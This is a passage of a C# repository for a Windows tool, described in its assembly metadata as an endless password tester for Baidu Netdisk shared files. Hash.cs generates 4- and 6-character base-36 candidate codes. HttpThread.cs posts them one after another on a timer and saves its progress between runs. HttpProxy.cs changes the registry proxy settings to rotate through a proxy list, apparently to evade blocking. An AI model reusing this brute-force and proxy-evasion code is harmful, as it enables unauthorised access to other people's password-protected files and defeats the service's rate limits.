19 | [assembly: ComVisible(false)]
20 |
21 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
22 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
23 |
24 | // 程序集的版本信息由下列四个值组成:
25 | //
26 | // 主版本
27 | // 次版本
28 | // 生成号
29 | // 修订号
30 | //
31 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
32 | // 方法是按如下所示使用“*”: :
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.8.0.6")]
35 | [assembly: AssemblyFileVersion("1.8.0.6")]
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 静态类
10 | ///
11 | public static class StaticClass
12 | {
13 | #region 静态字符串
14 |
15 | ///
16 | /// 线程状态
17 | ///
18 | public static bool status { get; set; }
19 |
20 | ///
21 | /// 目标连接
22 | ///
23 | public static string url { get; set; }
24 |
25 | ///
26 | /// 项目的路径
27 | ///
28 | public static string file { get; set; }
29 |
30 | ///
31 | /// 配置文件的路径
32 | ///
33 | public static string config { get; set; }
34 |
35 | ///
36 | /// 代理文件的路径
37 | ///
38 | public static string proxy { get; set; }
39 |
40 | #endregion 静态字符串
41 |
42 | #region 静态方法
43 |
44 | ///
45 | /// Get请求
46 | ///
47 | public static string HttpGet(string Url)
48 | {
49 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
50 | request.Method = "GET";
51 | request.ContentType = "text/html;charset=UTF-8";
52 |
53 | try
54 | {
55 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
56 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
57 | string retString = myStreamReader.ReadToEnd();
58 | myStreamReader.Close();
59 | return retString;
60 | }
61 | catch (Exception e)
62 | {
63 | return e.Message;
64 | }
65 | }
66 |
67 | #endregion 静态方法
68 | }
69 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | TestPassword
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 | Form
57 |
58 |
59 | Main.cs
60 |
61 |
62 |
63 |
64 |
65 | Main.cs
66 |
67 |
68 | ResXFileCodeGenerator
69 | Resources.Designer.cs
70 | Designer
71 |
72 |
73 | True
74 | Resources.resx
75 | True
76 |
77 |
78 | SettingsSingleFileGenerator
79 | Settings.Designer.cs
80 |
81 |
82 | True
83 | Settings.settings
84 | True
85 |
86 |
87 |
88 |
89 |
90 |
91 |
98 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.0.6/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword V1.8.0.6/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.0.6/TestPassword/ico.png
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace zgcwkj
4 | {
5 | public static class Hash
6 | {
7 | //哈希类 36进制
8 | //有效哈希[10000000,11679615]
9 |
10 | #region 只支持4位 By MXWXZ
11 |
12 | public static string HashTo4Str(int hash)
13 | {
14 | string ret = "";
15 | hash -= 10000000;
16 | while (hash > 0)
17 | {
18 | ret += Hash2Char(hash % 36);
19 | hash /= 36;
20 | }
21 | if (ret.Length == 3) ret += "0";//前导零
22 | if (ret.Length == 2) ret += "00";
23 | if (ret.Length == 1) ret += "000";
24 | if (ret.Length == 0) ret += "0000";
25 | return reverse(ret);
26 | }
27 |
28 | public static int StrTo4Hash(string str)
29 | {
30 | int ret = 0;
31 | ret += Char2Hash(str[0]) * 46656;
32 | ret += Char2Hash(str[1]) * 1296;
33 | ret += Char2Hash(str[2]) * 36;
34 | ret += Char2Hash(str[3]);
35 | ret += 10000000;//防止前导零
36 | return ret;
37 | }
38 |
39 | #endregion 只支持4位 By MXWXZ
40 |
41 | #region 只支持6位 By zgcwkj
42 |
43 | public static string HashTo6Str(int hash)
44 | {
45 | string ret = "";
46 | hash -= 100000;
47 | while (hash > 0)
48 | {
49 | ret += Hash2Char(hash % 36);
50 | hash /= 36;
51 | }
52 | if (ret.Length == 5) ret += "0";//前导零
53 | if (ret.Length == 4) ret += "00";
54 | if (ret.Length == 3) ret += "000";
55 | if (ret.Length == 2) ret += "0000";
56 | if (ret.Length == 1) ret += "00000";
57 | if (ret.Length == 0) ret += "000000";
58 | return reverse(ret);
59 | }
60 |
61 | public static int StrTo6Hash(string str)
62 | {
63 | int ret = 0;
64 | ret += Char2Hash(str[0]) * 60466176;
65 | ret += Char2Hash(str[1]) * 1679616;
66 | ret += Char2Hash(str[2]) * 46656;
67 | ret += Char2Hash(str[3]) * 1296;
68 | ret += Char2Hash(str[4]) * 36;
69 | ret += Char2Hash(str[5]);
70 | ret += 100000;//防止前导零
71 | return ret;
72 | }
73 |
74 | #endregion 只支持6位 By zgcwkj
75 |
76 | private static int Char2Hash(char c)
77 | {
78 | if (c >= '0' && c <= '9') return c - '0';
79 | else return c - 'a' + 10;
80 | }
81 |
82 | private static char Hash2Char(int hash)
83 | {
84 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
85 | else return (char)('a' + hash - 10);
86 | }
87 |
88 | private static string reverse(string str)
89 | {
90 | char[] arr = str.ToCharArray();
91 | Array.Reverse(arr);
92 | return new string(arr);
93 | }
94 | }
95 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/HttpHelp.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 网络请求帮助类
10 | ///
11 | public static class HttpHelp
12 | {
13 | public static CookieContainer cookie = new CookieContainer();
14 |
15 | #region Get请求
16 |
17 | ///
18 | /// 请求路径
19 | ///
20 | /// 请求的路径
21 | /// 返回请求的网页数据
22 | public static string HttpGet(string Url)
23 | {
24 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
25 | request.Method = "GET";
26 | request.ContentType = "text/html;charset=UTF-8";
27 | request.CookieContainer = cookie;
28 |
29 | try
30 | {
31 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
32 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
33 | string retString = myStreamReader.ReadToEnd();
34 | myStreamReader.Close();
35 | return retString;
36 | }
37 | catch (Exception e)
38 | {
39 | throw e;
40 | }
41 | }
42 |
43 | #endregion Get请求
44 |
45 | #region Post请求
46 |
47 | ///
48 | /// 提交数据
49 | ///
50 | /// 提交的路径
51 | /// 提交的数据
52 | /// 返回结果
53 | public static string HttpPost(string Url, string Data)
54 | {
55 | try
56 | {
57 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
58 | request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
59 | request.Referer = Url;
60 | request.ContentLength = Encoding.UTF8.GetByteCount(Data);
61 | request.CookieContainer = cookie;
62 | request.Method = "POST";
63 |
64 | Stream myRequestStream = request.GetRequestStream();
65 | byte[] postBytes = Encoding.UTF8.GetBytes(Data);
66 | myRequestStream.Write(postBytes, 0, postBytes.Length);
67 |
68 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
69 | response.Cookies = cookie.GetCookies(response.ResponseUri);
70 |
71 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
72 | string retString = myStreamReader.ReadToEnd();
73 | myStreamReader.Close();
74 |
75 | return retString;
76 | }
77 | catch (Exception ex)
78 | {
79 | throw ex;
80 | }
81 | }
82 |
83 | #endregion Post请求
84 | }
85 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/HttpProxy.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.IO;
4 |
5 | namespace zgcwkj
6 | {
7 | public class HttpProxy
8 | {
9 | #region 启动IP代理服务
10 |
11 | ///
12 | /// 启动IP代理服务
13 | ///
14 | /// 次/回
15 | ///
16 | public bool startUp(int bout)
17 | {
18 | StaticClass.proxys = File.ReadAllText(StaticClass.proxy).Replace("\r", "").Split('\n');
19 |
20 | //关闭代理服务
21 | if (GetSwitchState()) SwitchOff();
22 |
23 | //获取电脑之前记录的代理IP
24 | string ip = GetProxyIp();
25 | //通过API获取代理数据
26 | try
27 | {
28 | ip = StaticClass.proxys[bout];
29 | }
30 | catch (Exception e)
31 | {
32 | string str = e.Message;
33 | }
34 | //设置代理IP
35 | SwitchOn(ip);
36 |
37 | //验证代理IP能否使用
38 | try
39 | {
40 | HttpHelp.HttpGet("https://blog.zgcwkj.top");
41 | return true;
42 | }
43 | catch (Exception e)
44 | {
45 | string str = e.Message;
46 | SwitchOff();
47 | if (StaticClass.proxys.Length - 1 >= bout + 1)
48 | {
49 | startUp(bout + 1);
50 | }
51 | }
52 | return false;
53 | }
54 |
55 | #endregion 启动IP代理服务
56 |
57 | #region 通过注册表修改代理服务
58 |
59 | //注册表位置
60 | private string reg_path = @"Microsoft\Windows\CurrentVersion\Internet Settings";
61 |
62 | //Key名称
63 | private string key_name = "ProxyServer";
64 |
65 | //switch名称
66 | private string switch_name = "ProxyEnable";
67 |
68 | //启动代理
69 | public void SwitchOn(string ip_port)
70 | {
71 | SetRegValue(reg_path, key_name, ip_port);
72 | SetRegValue(reg_path, switch_name, 1);
73 | }
74 |
75 | //停止代理
76 | public void SwitchOff()
77 | {
78 | SetRegValue(reg_path, switch_name, 0);
79 | }
80 |
81 | //获取代理状态
82 | public bool GetSwitchState()
83 | {
84 | return GetRegValue(reg_path, switch_name) == "1";
85 | }
86 |
87 | //获取代理IP
88 | public string GetProxyIp()
89 | {
90 | return GetRegValue(reg_path, key_name);
91 | }
92 |
93 | private void SetRegValue(string path, string name, T value)
94 | {
95 | RegistryKey expr_05 = Registry.CurrentUser;
96 | RegistryKey expr_17 = expr_05.OpenSubKey(@"Software\" + path, true);
97 | expr_17.SetValue(name, value);
98 | expr_17.Close();
99 | expr_05.Close();
100 | }
101 |
102 | private string GetRegValue(string path, string name)
103 | {
104 | string result = string.Empty;
105 | RegistryKey currentUser = Registry.CurrentUser;
106 | RegistryKey registryKey = currentUser.OpenSubKey("Software\\" + path);
107 | if (registryKey == null)
108 | {
109 | return null;
110 | }
111 | object value = registryKey.GetValue(name);
112 | if (value != null)
113 | {
114 | result = value.ToString();
115 | }
116 | registryKey.Close();
117 | currentUser.Close();
118 | return result;
119 | }
120 |
121 | #endregion 通过注册表修改代理服务
122 | }
123 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/HttpThread.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Timers;
4 |
5 | namespace zgcwkj
6 | {
7 | public class HttpThread
8 | {
9 | private Main myMain;//主窗体
10 | private int StartValue = 0;//基值
11 | private int NumberValue = 0;//剩余次数
12 | private Timer timer;//线程
13 | private string ThreadID;//线程ID
14 |
15 | ///
16 | /// http请求线程类
17 | ///
18 | /// 主窗体
19 | /// 线程名称
20 | /// 开始值
21 | /// 结束值
22 | /// 线程速度
23 | public HttpThread(Main main, string name, int start, int number, int interval)
24 | {
25 | myMain = main;
26 | StartValue = start;
27 | NumberValue = number;
28 | ThreadID = StaticClass.file + "/" + name;
29 | timer = new Timer(interval);
30 | }
31 |
32 | ///
33 | /// 启动线程
34 | ///
35 | ///
36 | public HttpThread Start()
37 | {
38 | #region 载入历史参数
39 |
40 | try
41 | {
42 | if (File.Exists(ThreadID + ".ini"))
43 | {
44 | string _start = File.ReadAllText(ThreadID + ".ini");
45 | if (_start != "") StartValue = Convert.ToInt32(_start);
46 | }
47 | }
48 | catch { }
49 |
50 | #endregion 载入历史参数
51 |
52 | timer.Elapsed += new ElapsedEventHandler(_Timer);
53 | timer.Start();
54 | return this;
55 | }
56 |
57 | private void _Timer(object sender, ElapsedEventArgs e)
58 | {
59 | Timer timer = sender as Timer;
60 | if (NumberValue < StartValue || StaticClass.status)
61 | {
62 | #region 保存历史参数
63 |
64 | try
65 | {
66 | File.Delete(ThreadID + ".ini");
67 | File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
68 | }
69 | catch { }
70 |
71 | #endregion 保存历史参数
72 |
73 | timer.Stop();
74 | }
75 | else
76 | {
77 | string password = Hash.HashTo4Str(StartValue);
78 | HttpTest httptest = new HttpTest(StaticClass.url);
79 | myMain.ModifyStr(httptest.Post(password), password);
80 | StartValue = StartValue + 1;
81 | }
82 | }
83 | }
84 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using System.Windows.Forms;
4 |
5 | namespace zgcwkj
6 | {
7 | internal static class Program
8 | {
9 | ///
10 | /// 应用程序的主入口点。
11 | ///
12 | [STAThread]
13 | private static void Main()
14 | {
15 | // 在此方法返回时,如果创建了局部互斥体(即,如果 name 为 null 或空字符串)或指定的命名系统互斥体,则包含布尔值 true
16 | // 如果指定的命名系统互斥体已存在,则为false
17 | using (Mutex mutex = new Mutex(true, Application.ProductName, out bool Uniquely_Identifies_TestPassword))
18 | {
19 | if (Uniquely_Identifies_TestPassword)
20 | {
21 | Application.EnableVisualStyles();
22 | Application.SetCompatibleTextRenderingDefault(false);
23 | new HttpProxy().SwitchOff();
24 | Application.Run(new Main());
25 | }
26 | else//程序已经运行的情况,则弹出消息提示并终止此次运行
27 | {
28 | MessageBox.Show("应用程序已经启动了");
29 | System.Threading.Thread.Sleep(1000);
30 | // 终止此进程并为基础操作系统提供指定的退出代码。
31 | System.Environment.Exit(1);
32 | }
33 | }
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // 有关程序集的一般信息由以下
5 | // 控制。更改这些特性值可修改
6 | // 与程序集关联的信息。
7 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
8 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("zgcwkj")]
11 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
12 | [assembly: AssemblyCopyright("Copyright © 2018")]
13 | [assembly: AssemblyTrademark("zgcwkj")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | //将 ComVisible 设置为 false 将使此程序集中的类型
17 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
18 | //请将此类型的 ComVisible 特性设置为 true。
19 | [assembly: ComVisible(false)]
20 |
21 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
22 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
23 |
24 | // 程序集的版本信息由下列四个值组成:
25 | //
26 | // 主版本
27 | // 次版本
28 | // 生成号
29 | // 修订号
30 | //
31 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
32 | // 方法是按如下所示使用“*”: :
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.8.1.0")]
35 | [assembly: AssemblyFileVersion("1.8.1.0")]
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/Proxy.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace zgcwkj
2 | {
3 | partial class Proxy
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Proxy));
32 | this.txt_1 = new System.Windows.Forms.Label();
33 | this.txt = new System.Windows.Forms.Label();
34 | this.SuspendLayout();
35 | //
36 | // txt_1
37 | //
38 | this.txt_1.Font = new System.Drawing.Font("宋体", 13F);
39 | this.txt_1.Location = new System.Drawing.Point(14, 57);
40 | this.txt_1.Name = "txt_1";
41 | this.txt_1.Size = new System.Drawing.Size(183, 23);
42 | this.txt_1.TabIndex = 0;
43 | this.txt_1.Text = "000.000.000.000:0000";
44 | //
45 | // txt
46 | //
47 | this.txt.AutoSize = true;
48 | this.txt.Font = new System.Drawing.Font("宋体", 14F);
49 | this.txt.Location = new System.Drawing.Point(12, 28);
50 | this.txt.Name = "txt";
51 | this.txt.Size = new System.Drawing.Size(143, 19);
52 | this.txt.TabIndex = 1;
53 | this.txt.Text = "当前尝试的IP:";
54 | //
55 | // Proxy
56 | //
57 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
58 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
59 | this.ClientSize = new System.Drawing.Size(204, 111);
60 | this.Controls.Add(this.txt);
61 | this.Controls.Add(this.txt_1);
62 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
63 | this.MaximizeBox = false;
64 | this.MaximumSize = new System.Drawing.Size(220, 150);
65 | this.MinimizeBox = false;
66 | this.MinimumSize = new System.Drawing.Size(220, 150);
67 | this.Name = "Proxy";
68 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
69 | this.Text = "自动代理服务";
70 | this.ResumeLayout(false);
71 | this.PerformLayout();
72 |
73 | }
74 |
75 | #endregion
76 |
77 | private System.Windows.Forms.Label txt_1;
78 | private System.Windows.Forms.Label txt;
79 | }
80 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 静态类
10 | ///
11 | public static class StaticClass
12 | {
13 | #region 静态字符串
14 |
15 | ///
16 | /// 线程状态
17 | ///
18 | public static bool status { get; set; }
19 |
20 | ///
21 | /// 目标连接
22 | ///
23 | public static string url { get; set; }
24 |
25 | ///
26 | /// 项目的路径
27 | ///
28 | public static string file { get; set; }
29 |
30 | ///
31 | /// 配置文件的路径
32 | ///
33 | public static string config { get; set; }
34 |
35 | ///
36 | /// 代理文件的路径
37 | ///
38 | public static string proxy { get; set; }
39 |
40 | ///
41 | /// 代理文件的IP组
42 | ///
43 | public static string[] proxys { get; set; }
44 |
45 | #endregion 静态字符串
46 |
47 | #region 静态方法
48 |
49 | ///
50 | /// Get请求
51 | ///
52 | public static string HttpGet(string Url)
53 | {
54 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
55 | request.Method = "GET";
56 | request.ContentType = "text/html;charset=UTF-8";
57 |
58 | try
59 | {
60 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
61 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
62 | string retString = myStreamReader.ReadToEnd();
63 | myStreamReader.Close();
64 | return retString;
65 | }
66 | catch (Exception e)
67 | {
68 | return e.Message;
69 | }
70 | }
71 |
72 | #endregion 静态方法
73 | }
74 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | TestPassword
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
